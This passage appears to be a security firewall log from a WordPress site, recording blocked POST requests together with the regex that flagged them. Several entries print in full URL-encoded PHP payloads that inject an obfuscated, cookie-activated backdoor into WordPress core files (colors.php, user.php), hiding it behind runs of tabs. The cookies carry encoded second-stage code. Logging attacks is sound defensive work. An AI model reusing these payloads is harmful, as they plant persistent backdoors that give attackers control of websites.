ai:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\ncontent-length:4290\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nai=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:50:48","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4313\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-fetch-user:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:51:00","190.92.169.79","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3231\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\ntk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:51:03","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", 